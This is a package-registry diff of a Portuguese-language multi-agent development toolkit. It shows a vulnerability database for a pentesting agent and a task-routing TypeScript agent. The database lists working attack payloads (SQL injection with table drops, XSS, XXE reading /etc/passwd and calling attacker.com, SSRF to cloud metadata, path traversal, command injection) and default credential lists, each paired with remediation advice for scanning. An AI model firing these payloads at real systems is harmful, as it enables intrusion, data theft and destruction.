wegho-agentes 4.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.agents/AGENT_WORKFLOW.md +528 -0
- package/.agents/AI_COMPATIBILITY.md +332 -0
- package/.agents/CLI.md +222 -0
- package/.agents/README.md +130 -0
- package/.agents/cli.js +389 -0
- package/.agents/code-auditor-agent.ts +333 -0
- package/.agents/config.ts +145 -0
- package/.agents/context-loader.ts +300 -0
- package/.agents/core/agent-parallelizer.test.ts +94 -0
- package/.agents/core/agent-parallelizer.ts +108 -0
- package/.agents/core/architecture-agent.ts +237 -0
- package/.agents/core/base-agent.ts +311 -0
- package/.agents/core/cache-manager.test.ts +147 -0
- package/.agents/core/cache-manager.ts +184 -0
- package/.agents/core/documentation-agent.ts +183 -0
- package/.agents/core/feedback-collector.ts +207 -0
- package/.agents/core/frontend-agent.ts +210 -0
- package/.agents/core/inventory-agent.ts +582 -0
- package/.agents/core/memory-system.ts +397 -0
- package/.agents/core/quality-agent.ts +268 -0
- package/.agents/core/retry-utility.test.ts +165 -0
- package/.agents/core/retry-utility.ts +140 -0
- package/.agents/core/security-agent.ts +217 -0
- package/.agents/core/workflow-validator.test.ts +171 -0
- package/.agents/core/workflow-validator.ts +158 -0
- package/.agents/domains/README.md +53 -0
- package/.agents/domains/logistics/route-agent.ts +177 -0
- package/.agents/domains/news/cms-agent.ts +158 -0
- package/.agents/domains/news/seo-agent.ts +170 -0
- package/.agents/domains/production/production-control-agent.ts +169 -0
- package/.agents/example-learning-system.js +118 -0
- package/.agents/init.ts +164 -0
- package/.agents/memory/architecture-agent/failures.json +1 -0
- package/.agents/memory/architecture-agent/learnings.json +1 -0
- package/.agents/memory/architecture-agent/specialty.md +31 -0
- package/.agents/memory/architecture-agent/successes.json +16 -0
- package/.agents/memory/cms-agent/failures.json +1 -0
- package/.agents/memory/cms-agent/learnings.json +1 -0
- package/.agents/memory/cms-agent/specialty.md +30 -0
- package/.agents/memory/cms-agent/successes.json +16 -0
- package/.agents/memory/documentation-agent/failures.json +1 -0
- package/.agents/memory/documentation-agent/learnings.json +1 -0
- package/.agents/memory/documentation-agent/specialty.md +33 -0
- package/.agents/memory/documentation-agent/successes.json +16 -0
- package/.agents/memory/frontend-agent/failures.json +1 -0
- package/.agents/memory/frontend-agent/learnings.json +1 -0
- package/.agents/memory/frontend-agent/specialty.md +30 -0
- package/.agents/memory/frontend-agent/successes.json +16 -0
- package/.agents/memory/inventory-agent/failures.json +1 -0
- package/.agents/memory/inventory-agent/inventory/index.json +8 -0
- package/.agents/memory/inventory-agent/inventory/types.json +77716 -0
- package/.agents/memory/inventory-agent/inventory/variables.json +405 -0
- package/.agents/memory/inventory-agent/learnings.json +1 -0
- package/.agents/memory/inventory-agent/specialty.md +129 -0
- package/.agents/memory/inventory-agent/successes.json +30 -0
- package/.agents/memory/production-control-agent/failures.json +1 -0
- package/.agents/memory/production-control-agent/learnings.json +1 -0
- package/.agents/memory/production-control-agent/specialty.md +29 -0
- package/.agents/memory/production-control-agent/successes.json +16 -0
- package/.agents/memory/quality-agent/failures.json +16 -0
- package/.agents/memory/quality-agent/learnings.json +1 -0
- package/.agents/memory/quality-agent/specialty.md +31 -0
- package/.agents/memory/quality-agent/successes.json +1 -0
- package/.agents/memory/reference-repositories.json +271 -0
- package/.agents/memory/route-agent/failures.json +1 -0
- package/.agents/memory/route-agent/learnings.json +1 -0
- package/.agents/memory/route-agent/specialty.md +29 -0
- package/.agents/memory/route-agent/successes.json +16 -0
- package/.agents/memory/security-agent/failures.json +1 -0
- package/.agents/memory/security-agent/learnings.json +1 -0
- package/.agents/memory/security-agent/specialty.md +31 -0
- package/.agents/memory/security-agent/successes.json +16 -0
- package/.agents/memory/seo-agent/failures.json +1 -0
- package/.agents/memory/seo-agent/learnings.json +1 -0
- package/.agents/memory/seo-agent/specialty.md +31 -0
- package/.agents/memory/seo-agent/successes.json +16 -0
- package/.agents/orchestrator.ts +438 -0
- package/.agents/project-discovery-agent.ts +342 -0
- package/.agents/security/pentesting-agent.py +387 -0
- package/.agents/security/python-bridge.ts +193 -0
- package/.agents/security/vulnerability-db.json +201 -0
- package/.agents/task-analyzer-agent.ts +346 -0
- package/.agents/test-init-context.js +67 -0
- package/INSTALL.md +300 -0
- package/LICENSE +21 -0
- package/README.md +315 -0
- package/docs/AGENT_RULES.md +292 -0
- package/docs/BUILD_HISTORY.md +65 -0
- package/docs/DESIGN_SYSTEM.md +256 -0
- package/docs/LEARNING_SYSTEM.md +326 -0
- package/docs/SYMBOLS_TREE.md +182 -0
- package/docs/VERSION.md +6 -0
- package/docs/architecture.md +111 -0
- package/package.json +60 -0
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
{
|
|
2
|
+
"sql_injection": {
|
|
3
|
+
"severity": "CRITICAL",
|
|
4
|
+
"owasp_id": "A03:2021",
|
|
5
|
+
"category": "Injection",
|
|
6
|
+
"description": "SQL Injection permite que atacantes executem comandos SQL arbitrários no banco de dados",
|
|
7
|
+
"payloads": [
|
|
8
|
+
"' OR '1'='1",
|
|
9
|
+
"'; DROP TABLE users--",
|
|
10
|
+
"' UNION SELECT NULL--",
|
|
11
|
+
"admin' --",
|
|
12
|
+
"' OR 1=1--",
|
|
13
|
+
"1' AND '1'='1",
|
|
14
|
+
"' UNION SELECT username, password FROM users--",
|
|
15
|
+
"'; EXEC sp_MSForEachTable 'DROP TABLE ?'--"
|
|
16
|
+
],
|
|
17
|
+
"detection_patterns": [
|
|
18
|
+
"SQL syntax error",
|
|
19
|
+
"mysql_fetch",
|
|
20
|
+
"ORA-01756",
|
|
21
|
+
"Microsoft SQL Native Client error",
|
|
22
|
+
"Unclosed quotation mark"
|
|
23
|
+
],
|
|
24
|
+
"remediation": "Use prepared statements, parameterized queries, ORM frameworks, input validation",
|
|
25
|
+
"impact": "Data breach, data manipulation, authentication bypass, complete system compromise"
|
|
26
|
+
},
|
|
27
|
+
"xss": {
|
|
28
|
+
"severity": "HIGH",
|
|
29
|
+
"owasp_id": "A03:2021",
|
|
30
|
+
"category": "Injection",
|
|
31
|
+
"description": "Cross-Site Scripting permite injeção de scripts maliciosos em páginas web",
|
|
32
|
+
"types": [
|
|
33
|
+
"reflected",
|
|
34
|
+
"stored",
|
|
35
|
+
"dom-based"
|
|
36
|
+
],
|
|
37
|
+
"payloads": [
|
|
38
|
+
"<script>alert('XSS')</script>",
|
|
39
|
+
"<img src=x onerror=alert('XSS')>",
|
|
40
|
+
"javascript:alert('XSS')",
|
|
41
|
+
"<svg onload=alert('XSS')>",
|
|
42
|
+
"'-alert('XSS')-'",
|
|
43
|
+
"<iframe src='javascript:alert(1)'>",
|
|
44
|
+
"<body onload=alert('XSS')>",
|
|
45
|
+
"<input onfocus=alert('XSS') autofocus>"
|
|
46
|
+
],
|
|
47
|
+
"detection": "Script execution in browser, DOM manipulation, cookie theft",
|
|
48
|
+
"remediation": "Sanitize inputs with DOMPurify, implement Content Security Policy, encode outputs, use frameworks with auto-escaping",
|
|
49
|
+
"impact": "Session hijacking, credential theft, malware distribution, phishing"
|
|
50
|
+
},
|
|
51
|
+
"csrf": {
|
|
52
|
+
"severity": "HIGH",
|
|
53
|
+
"owasp_id": "A01:2021",
|
|
54
|
+
"category": "Broken Access Control",
|
|
55
|
+
"description": "Cross-Site Request Forgery força usuários autenticados a executar ações não intencionais",
|
|
56
|
+
"detection_methods": [
|
|
57
|
+
"Missing CSRF tokens",
|
|
58
|
+
"Predictable CSRF tokens",
|
|
59
|
+
"CSRF token not validated",
|
|
60
|
+
"GET requests for state-changing operations"
|
|
61
|
+
],
|
|
62
|
+
"remediation": "Implement anti-CSRF tokens, use SameSite cookies, validate Referer header, require re-authentication for sensitive actions",
|
|
63
|
+
"impact": "Unauthorized actions, data modification, account takeover"
|
|
64
|
+
},
|
|
65
|
+
"weak_passwords": {
|
|
66
|
+
"severity": "CRITICAL",
|
|
67
|
+
"owasp_id": "A07:2021",
|
|
68
|
+
"category": "Identification and Authentication Failures",
|
|
69
|
+
"description": "Senhas fracas facilitam ataques de brute force e credential stuffing",
|
|
70
|
+
"common_passwords": [
|
|
71
|
+
"123456",
|
|
72
|
+
"password",
|
|
73
|
+
"123456789",
|
|
74
|
+
"12345678",
|
|
75
|
+
"12345",
|
|
76
|
+
"1234567",
|
|
77
|
+
"admin",
|
|
78
|
+
"123123",
|
|
79
|
+
"qwerty",
|
|
80
|
+
"abc123",
|
|
81
|
+
"password123",
|
|
82
|
+
"admin123",
|
|
83
|
+
"root",
|
|
84
|
+
"toor",
|
|
85
|
+
"pass"
|
|
86
|
+
],
|
|
87
|
+
"common_usernames": [
|
|
88
|
+
"admin",
|
|
89
|
+
"administrator",
|
|
90
|
+
"root",
|
|
91
|
+
"user",
|
|
92
|
+
"test",
|
|
93
|
+
"guest",
|
|
94
|
+
"demo",
|
|
95
|
+
"webmaster",
|
|
96
|
+
"support"
|
|
97
|
+
],
|
|
98
|
+
"detection": "Successful login with weak credentials, no password complexity requirements",
|
|
99
|
+
"remediation": "Enforce strong password policy (min 12 chars, complexity), implement rate limiting, use MFA, password strength meter, breach detection",
|
|
100
|
+
"impact": "Account compromise, unauthorized access, data breach"
|
|
101
|
+
},
|
|
102
|
+
"session_hijacking": {
|
|
103
|
+
"severity": "CRITICAL",
|
|
104
|
+
"owasp_id": "A07:2021",
|
|
105
|
+
"category": "Identification and Authentication Failures",
|
|
106
|
+
"description": "Roubo ou predição de IDs de sessão para impersonar usuários",
|
|
107
|
+
"attack_vectors": [
|
|
108
|
+
"Session fixation",
|
|
109
|
+
"Session prediction",
|
|
110
|
+
"Session sniffing",
|
|
111
|
+
"XSS-based session theft"
|
|
112
|
+
],
|
|
113
|
+
"detection": "Predictable session IDs, session ID in URL, no session regeneration after login",
|
|
114
|
+
"remediation": "Regenerate session ID after login, use secure and httpOnly cookies, implement session timeout, use HTTPS only",
|
|
115
|
+
"impact": "Account takeover, unauthorized access, identity theft"
|
|
116
|
+
},
|
|
117
|
+
"insecure_headers": {
|
|
118
|
+
"severity": "MEDIUM",
|
|
119
|
+
"owasp_id": "A05:2021",
|
|
120
|
+
"category": "Security Misconfiguration",
|
|
121
|
+
"description": "Falta de headers de segurança HTTP expõe aplicação a diversos ataques",
|
|
122
|
+
"required_headers": {
|
|
123
|
+
"X-Frame-Options": "DENY or SAMEORIGIN",
|
|
124
|
+
"X-Content-Type-Options": "nosniff",
|
|
125
|
+
"Strict-Transport-Security": "max-age=31536000; includeSubDomains",
|
|
126
|
+
"Content-Security-Policy": "default-src 'self'",
|
|
127
|
+
"X-XSS-Protection": "1; mode=block",
|
|
128
|
+
"Referrer-Policy": "no-referrer-when-downgrade"
|
|
129
|
+
},
|
|
130
|
+
"remediation": "Configure all security headers properly, use helmet.js for Node.js, implement CSP",
|
|
131
|
+
"impact": "Clickjacking, MIME sniffing attacks, man-in-the-middle attacks"
|
|
132
|
+
},
|
|
133
|
+
"xxe": {
|
|
134
|
+
"severity": "CRITICAL",
|
|
135
|
+
"owasp_id": "A05:2021",
|
|
136
|
+
"category": "Security Misconfiguration",
|
|
137
|
+
"description": "XML External Entity injection permite leitura de arquivos e SSRF",
|
|
138
|
+
"payloads": [
|
|
139
|
+
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file:///etc/passwd\">]><foo>&xxe;</foo>",
|
|
140
|
+
"<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://attacker.com/evil\">]><foo>&xxe;</foo>"
|
|
141
|
+
],
|
|
142
|
+
"detection": "File disclosure, SSRF, denial of service",
|
|
143
|
+
"remediation": "Disable XML external entities, use JSON instead of XML, validate and sanitize XML input",
|
|
144
|
+
"impact": "File disclosure, SSRF, denial of service, remote code execution"
|
|
145
|
+
},
|
|
146
|
+
"insecure_deserialization": {
|
|
147
|
+
"severity": "CRITICAL",
|
|
148
|
+
"owasp_id": "A08:2021",
|
|
149
|
+
"category": "Software and Data Integrity Failures",
|
|
150
|
+
"description": "Desserialização insegura pode levar a execução remota de código",
|
|
151
|
+
"detection": "Untrusted data deserialization, base64 encoded objects",
|
|
152
|
+
"remediation": "Avoid deserializing untrusted data, implement integrity checks, use safe serialization formats like JSON",
|
|
153
|
+
"impact": "Remote code execution, privilege escalation, data tampering"
|
|
154
|
+
},
|
|
155
|
+
"ssrf": {
|
|
156
|
+
"severity": "HIGH",
|
|
157
|
+
"owasp_id": "A10:2021",
|
|
158
|
+
"category": "Server-Side Request Forgery",
|
|
159
|
+
"description": "SSRF permite que atacantes façam requisições a partir do servidor",
|
|
160
|
+
"payloads": [
|
|
161
|
+
"http://localhost:8080/admin",
|
|
162
|
+
"http://169.254.169.254/latest/meta-data/",
|
|
163
|
+
"file:///etc/passwd",
|
|
164
|
+
"http://internal-server/"
|
|
165
|
+
],
|
|
166
|
+
"detection": "Server making unexpected outbound requests, access to internal resources",
|
|
167
|
+
"remediation": "Validate and sanitize URLs, use allowlist of domains, disable unnecessary protocols, implement network segmentation",
|
|
168
|
+
"impact": "Access to internal systems, cloud metadata exposure, port scanning"
|
|
169
|
+
},
|
|
170
|
+
"path_traversal": {
|
|
171
|
+
"severity": "HIGH",
|
|
172
|
+
"owasp_id": "A01:2021",
|
|
173
|
+
"category": "Broken Access Control",
|
|
174
|
+
"description": "Path traversal permite acesso a arquivos fora do diretório pretendido",
|
|
175
|
+
"payloads": [
|
|
176
|
+
"../../../etc/passwd",
|
|
177
|
+
"..\\..\\..\\windows\\system32\\config\\sam",
|
|
178
|
+
"....//....//....//etc/passwd",
|
|
179
|
+
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
|
|
180
|
+
],
|
|
181
|
+
"detection": "Unauthorized file access, directory listing",
|
|
182
|
+
"remediation": "Validate file paths, use chroot jail, implement proper access controls, avoid user input in file paths",
|
|
183
|
+
"impact": "Sensitive file disclosure, configuration file access, source code exposure"
|
|
184
|
+
},
|
|
185
|
+
"command_injection": {
|
|
186
|
+
"severity": "CRITICAL",
|
|
187
|
+
"owasp_id": "A03:2021",
|
|
188
|
+
"category": "Injection",
|
|
189
|
+
"description": "Command injection permite execução de comandos arbitrários no sistema operacional",
|
|
190
|
+
"payloads": [
|
|
191
|
+
"; ls -la",
|
|
192
|
+
"| cat /etc/passwd",
|
|
193
|
+
"& whoami",
|
|
194
|
+
"`id`",
|
|
195
|
+
"$(cat /etc/passwd)"
|
|
196
|
+
],
|
|
197
|
+
"detection": "Unexpected command execution, system command output in response",
|
|
198
|
+
"remediation": "Avoid system calls with user input, use parameterized APIs, implement input validation, use safe libraries",
|
|
199
|
+
"impact": "Complete system compromise, data breach, malware installation"
|
|
200
|
+
}
|
|
201
|
+
}
|
|
@@ -0,0 +1,346 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Task Analyzer Agent
|
|
3
|
+
*
|
|
4
|
+
* Responsabilidades:
|
|
5
|
+
* - Analisar tarefa ANTES de executar
|
|
6
|
+
* - Decidir quais agentes usar
|
|
7
|
+
* - Criar plano de execução com subtarefas
|
|
8
|
+
* - Sugerir pesquisas em repositórios/docs quando necessário
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
import { AgentConfig } from './config';
|
|
12
|
+
|
|
13
|
+
export interface TaskAnalysis {
|
|
14
|
+
taskDescription: string;
|
|
15
|
+
detectedAreas: string[]; // ['frontend', 'security', 'database', 'api']
|
|
16
|
+
requiredAgents: string[]; // ['frontend-agent', 'security-agent', 'db-security-agent']
|
|
17
|
+
agentAssignments: AgentAssignment[];
|
|
18
|
+
suggestedResearch: ResearchSuggestion[];
|
|
19
|
+
complexity: 'low' | 'medium' | 'high';
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
export interface AgentAssignment {
|
|
23
|
+
agentName: string;
|
|
24
|
+
subtask: string;
|
|
25
|
+
priority: number; // 1 = executar primeiro
|
|
26
|
+
dependencies: string[]; // outros agentes que devem executar antes
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
export interface ResearchSuggestion {
|
|
30
|
+
topic: string;
|
|
31
|
+
sources: string[]; // ['supabase-docs', 'react-docs', 'github:example/repo']
|
|
32
|
+
reason: string;
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
export class TaskAnalyzerAgent {
|
|
36
|
+
/**
|
|
37
|
+
* Analisa a tarefa e retorna plano de execução
|
|
38
|
+
*/
|
|
39
|
+
async analyzeTask(taskDescription: string, config: AgentConfig): Promise<TaskAnalysis> {
|
|
40
|
+
console.log('\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━');
|
|
41
|
+
console.log('🧠 ANÁLISE INTELIGENTE DA TAREFA');
|
|
42
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n');
|
|
43
|
+
|
|
44
|
+
console.log(`📋 Tarefa: ${taskDescription}\n`);
|
|
45
|
+
|
|
46
|
+
// Detectar áreas envolvidas
|
|
47
|
+
const detectedAreas = this.detectAreas(taskDescription);
|
|
48
|
+
console.log('🎯 Áreas detectadas:');
|
|
49
|
+
detectedAreas.forEach(area => console.log(` - ${area}`));
|
|
50
|
+
console.log('');
|
|
51
|
+
|
|
52
|
+
// Determinar agentes necessários
|
|
53
|
+
const requiredAgents = this.determineRequiredAgents(detectedAreas, taskDescription);
|
|
54
|
+
console.log('🤖 Agentes necessários:');
|
|
55
|
+
requiredAgents.forEach(agent => console.log(` - ${agent}`));
|
|
56
|
+
console.log('');
|
|
57
|
+
|
|
58
|
+
// Criar assignments (subtarefas)
|
|
59
|
+
const agentAssignments = this.createAgentAssignments(requiredAgents, taskDescription, detectedAreas);
|
|
60
|
+
console.log('📌 Designação de tarefas:');
|
|
61
|
+
agentAssignments.forEach(assignment => {
|
|
62
|
+
console.log(` ${assignment.priority}. ${assignment.agentName}:`);
|
|
63
|
+
console.log(` → ${assignment.subtask}`);
|
|
64
|
+
if (assignment.dependencies.length > 0) {
|
|
65
|
+
console.log(` ⚠️ Depende de: ${assignment.dependencies.join(', ')}`);
|
|
66
|
+
}
|
|
67
|
+
});
|
|
68
|
+
console.log('');
|
|
69
|
+
|
|
70
|
+
// Sugerir pesquisas
|
|
71
|
+
const suggestedResearch = this.suggestResearch(detectedAreas, taskDescription);
|
|
72
|
+
if (suggestedResearch.length > 0) {
|
|
73
|
+
console.log('🔍 Pesquisas sugeridas:');
|
|
74
|
+
suggestedResearch.forEach(suggestion => {
|
|
75
|
+
console.log(` 📚 ${suggestion.topic}`);
|
|
76
|
+
console.log(` Fontes: ${suggestion.sources.join(', ')}`);
|
|
77
|
+
console.log(` Por quê: ${suggestion.reason}\n`);
|
|
78
|
+
});
|
|
79
|
+
}
|
|
80
|
+
|
|
81
|
+
// Determinar complexidade
|
|
82
|
+
const complexity = this.estimateComplexity(detectedAreas, requiredAgents);
|
|
83
|
+
console.log(`⚖️ Complexidade: ${complexity.toUpperCase()}\n`);
|
|
84
|
+
|
|
85
|
+
console.log('━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n');
|
|
86
|
+
|
|
87
|
+
return {
|
|
88
|
+
taskDescription,
|
|
89
|
+
detectedAreas,
|
|
90
|
+
requiredAgents,
|
|
91
|
+
agentAssignments,
|
|
92
|
+
suggestedResearch,
|
|
93
|
+
complexity,
|
|
94
|
+
};
|
|
95
|
+
}
|
|
96
|
+
|
|
97
|
+
/**
|
|
98
|
+
* Detecta áreas envolvidas na tarefa por palavras-chave
|
|
99
|
+
*/
|
|
100
|
+
private detectAreas(taskDescription: string): string[] {
|
|
101
|
+
const areas: string[] = [];
|
|
102
|
+
const desc = taskDescription.toLowerCase();
|
|
103
|
+
|
|
104
|
+
// Frontend
|
|
105
|
+
if (desc.match(/component|ui|interface|página|layout|css|estilo|responsiv/i)) {
|
|
106
|
+
areas.push('frontend');
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// Backend/API
|
|
110
|
+
if (desc.match(/api|endpoint|rota|servidor|backend|função/i)) {
|
|
111
|
+
areas.push('backend');
|
|
112
|
+
}
|
|
113
|
+
|
|
114
|
+
// Database
|
|
115
|
+
if (desc.match(/database|banco|tabela|query|sql|migration|rls|policy|supabase/i)) {
|
|
116
|
+
areas.push('database');
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
// Auth
|
|
120
|
+
if (desc.match(/auth|login|logout|session|usuário|permiss|role/i)) {
|
|
121
|
+
areas.push('auth');
|
|
122
|
+
}
|
|
123
|
+
|
|
124
|
+
// Security
|
|
125
|
+
if (desc.match(/segur|vulnerab|xss|csrf|sanitiz|validação/i)) {
|
|
126
|
+
areas.push('security');
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
// Performance
|
|
130
|
+
if (desc.match(/performance|otimiz|cache|lazy|bundle|speed/i)) {
|
|
131
|
+
areas.push('performance');
|
|
132
|
+
}
|
|
133
|
+
|
|
134
|
+
// Testing
|
|
135
|
+
if (desc.match(/test|qa|validar|verificar/i)) {
|
|
136
|
+
areas.push('testing');
|
|
137
|
+
}
|
|
138
|
+
|
|
139
|
+
// Documentation
|
|
140
|
+
if (desc.match(/doc|readme|comentário|explain/i)) {
|
|
141
|
+
areas.push('documentation');
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
return areas.length > 0 ? areas : ['generic'];
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
/**
|
|
148
|
+
* Determina quais agentes usar baseado nas áreas
|
|
149
|
+
*/
|
|
150
|
+
private determineRequiredAgents(areas: string[], taskDescription: string): string[] {
|
|
151
|
+
const agents = new Set<string>();
|
|
152
|
+
|
|
153
|
+
// Agentes core (sempre incluir alguns)
|
|
154
|
+
agents.add('architecture-agent'); // Sempre valida estrutura
|
|
155
|
+
agents.add('quality-agent'); // Sempre valida ao final
|
|
156
|
+
|
|
157
|
+
// Agentes específicos por área
|
|
158
|
+
if (areas.includes('frontend')) {
|
|
159
|
+
agents.add('frontend-agent');
|
|
160
|
+
}
|
|
161
|
+
|
|
162
|
+
if (areas.includes('security') || areas.includes('auth')) {
|
|
163
|
+
agents.add('security-agent');
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
if (areas.includes('database')) {
|
|
167
|
+
agents.add('database-security-agent');
|
|
168
|
+
}
|
|
169
|
+
|
|
170
|
+
if (areas.includes('documentation')) {
|
|
171
|
+
agents.add('documentation-agent');
|
|
172
|
+
}
|
|
173
|
+
|
|
174
|
+
// Agentes de domínio (baseado em palavras-chave)
|
|
175
|
+
if (taskDescription.match(/artigo|post|cms|seo/i)) {
|
|
176
|
+
agents.add('cms-agent');
|
|
177
|
+
agents.add('seo-agent');
|
|
178
|
+
}
|
|
179
|
+
|
|
180
|
+
if (taskDescription.match(/produção|plant|evento/i)) {
|
|
181
|
+
agents.add('production-control-agent');
|
|
182
|
+
}
|
|
183
|
+
|
|
184
|
+
if (taskDescription.match(/rota|entrega|logística/i)) {
|
|
185
|
+
agents.add('route-agent');
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
return Array.from(agents);
|
|
189
|
+
}
|
|
190
|
+
|
|
191
|
+
/**
|
|
192
|
+
* Cria designações específicas para cada agente
|
|
193
|
+
*/
|
|
194
|
+
private createAgentAssignments(
|
|
195
|
+
agents: string[],
|
|
196
|
+
taskDescription: string,
|
|
197
|
+
areas: string[]
|
|
198
|
+
): AgentAssignment[] {
|
|
199
|
+
const assignments: AgentAssignment[] = [];
|
|
200
|
+
|
|
201
|
+
// Exemplo de subtarefas específicas
|
|
202
|
+
if (agents.includes('architecture-agent')) {
|
|
203
|
+
assignments.push({
|
|
204
|
+
agentName: 'architecture-agent',
|
|
205
|
+
subtask: 'Validar estrutura de arquivos e garantir limite 500 linhas',
|
|
206
|
+
priority: 1,
|
|
207
|
+
dependencies: [],
|
|
208
|
+
});
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
if (agents.includes('frontend-agent')) {
|
|
212
|
+
assignments.push({
|
|
213
|
+
agentName: 'frontend-agent',
|
|
214
|
+
subtask: 'Validar componentes React, acessibilidade e UI/UX',
|
|
215
|
+
priority: 2,
|
|
216
|
+
dependencies: ['architecture-agent'],
|
|
217
|
+
});
|
|
218
|
+
}
|
|
219
|
+
|
|
220
|
+
if (agents.includes('security-agent')) {
|
|
221
|
+
assignments.push({
|
|
222
|
+
agentName: 'security-agent',
|
|
223
|
+
subtask: 'Detectar vulnerabilidades (XSS, CSRF, dados sensíveis)',
|
|
224
|
+
priority: 2,
|
|
225
|
+
dependencies: ['architecture-agent'],
|
|
226
|
+
});
|
|
227
|
+
}
|
|
228
|
+
|
|
229
|
+
if (agents.includes('database-security-agent')) {
|
|
230
|
+
assignments.push({
|
|
231
|
+
agentName: 'database-security-agent',
|
|
232
|
+
subtask: 'Validar RLS policies e estrutura de tabelas Supabase',
|
|
233
|
+
priority: 3,
|
|
234
|
+
dependencies: ['architecture-agent'],
|
|
235
|
+
});
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
if (agents.includes('documentation-agent')) {
|
|
239
|
+
assignments.push({
|
|
240
|
+
agentName: 'documentation-agent',
|
|
241
|
+
subtask: 'Gerar/atualizar documentação automática',
|
|
242
|
+
priority: 4,
|
|
243
|
+
dependencies: ['frontend-agent', 'security-agent'],
|
|
244
|
+
});
|
|
245
|
+
}
|
|
246
|
+
|
|
247
|
+
if (agents.includes('quality-agent')) {
|
|
248
|
+
assignments.push({
|
|
249
|
+
agentName: 'quality-agent',
|
|
250
|
+
subtask: 'Executar lint, typecheck, build e dar GO/NO-GO final',
|
|
251
|
+
priority: 5,
|
|
252
|
+
dependencies: Array.from(
|
|
253
|
+
new Set(agents.filter(a => a !== 'quality-agent'))
|
|
254
|
+
),
|
|
255
|
+
});
|
|
256
|
+
}
|
|
257
|
+
|
|
258
|
+
// Agentes de domínio
|
|
259
|
+
if (agents.includes('cms-agent')) {
|
|
260
|
+
assignments.push({
|
|
261
|
+
agentName: 'cms-agent',
|
|
262
|
+
subtask: 'Validar estrutura de artigos/posts e campos obrigatórios',
|
|
263
|
+
priority: 2,
|
|
264
|
+
dependencies: ['architecture-agent'],
|
|
265
|
+
});
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
if (agents.includes('seo-agent')) {
|
|
269
|
+
assignments.push({
|
|
270
|
+
agentName: 'seo-agent',
|
|
271
|
+
subtask: 'Validar meta tags, structured data e sitemap',
|
|
272
|
+
priority: 3,
|
|
273
|
+
dependencies: ['frontend-agent'],
|
|
274
|
+
});
|
|
275
|
+
}
|
|
276
|
+
|
|
277
|
+
return assignments.sort((a, b) => a.priority - b.priority);
|
|
278
|
+
}
|
|
279
|
+
|
|
280
|
+
/**
|
|
281
|
+
* Sugere pesquisas em repositórios/docs
|
|
282
|
+
*/
|
|
283
|
+
private suggestResearch(areas: string[], taskDescription: string): ResearchSuggestion[] {
|
|
284
|
+
const suggestions: ResearchSuggestion[] = [];
|
|
285
|
+
|
|
286
|
+
if (areas.includes('database')) {
|
|
287
|
+
suggestions.push({
|
|
288
|
+
topic: 'Supabase Row Level Security (RLS)',
|
|
289
|
+
sources: ['supabase-docs', 'https://supabase.com/docs/guides/auth/row-level-security'],
|
|
290
|
+
reason: 'Tarefa envolve banco de dados, verificar best practices de RLS',
|
|
291
|
+
});
|
|
292
|
+
}
|
|
293
|
+
|
|
294
|
+
if (areas.includes('frontend')) {
|
|
295
|
+
suggestions.push({
|
|
296
|
+
topic: 'Next.js App Router Best Practices',
|
|
297
|
+
sources: ['nextjs-docs', 'https://nextjs.org/docs/app'],
|
|
298
|
+
reason: 'Garantir uso correto de Server/Client Components',
|
|
299
|
+
});
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
if (areas.includes('security')) {
|
|
303
|
+
suggestions.push({
|
|
304
|
+
topic: 'OWASP Top 10',
|
|
305
|
+
sources: ['owasp-docs', 'https://owasp.org/www-project-top-ten/'],
|
|
306
|
+
reason: 'Tarefa envolve segurança, revisar vulnerabilidades comuns',
|
|
307
|
+
});
|
|
308
|
+
}
|
|
309
|
+
|
|
310
|
+
if (areas.includes('performance')) {
|
|
311
|
+
suggestions.push({
|
|
312
|
+
topic: 'React Performance Optimization',
|
|
313
|
+
sources: ['react-docs', 'https://react.dev/learn/render-and-commit'],
|
|
314
|
+
reason: 'Otimizar renders e performance do React',
|
|
315
|
+
});
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
if (taskDescription.match(/typescript|type|interface/i)) {
|
|
319
|
+
suggestions.push({
|
|
320
|
+
topic: 'TypeScript Advanced Types',
|
|
321
|
+
sources: ['typescript-docs', 'https://www.typescriptlang.org/docs/handbook/2/types-from-types.html'],
|
|
322
|
+
reason: 'Garantir tipagem forte sem uso de "any"',
|
|
323
|
+
});
|
|
324
|
+
}
|
|
325
|
+
|
|
326
|
+
return suggestions;
|
|
327
|
+
}
|
|
328
|
+
|
|
329
|
+
/**
|
|
330
|
+
* Estima complexidade da tarefa
|
|
331
|
+
*/
|
|
332
|
+
private estimateComplexity(areas: string[], agents: string[]): 'low' | 'medium' | 'high' {
|
|
333
|
+
const areaCount = areas.length;
|
|
334
|
+
const agentCount = agents.length;
|
|
335
|
+
|
|
336
|
+
if (areaCount <= 2 && agentCount <= 3) {
|
|
337
|
+
return 'low';
|
|
338
|
+
}
|
|
339
|
+
|
|
340
|
+
if (areaCount <= 4 && agentCount <= 5) {
|
|
341
|
+
return 'medium';
|
|
342
|
+
}
|
|
343
|
+
|
|
344
|
+
return 'high';
|
|
345
|
+
}
|
|
346
|
+
}
|
|
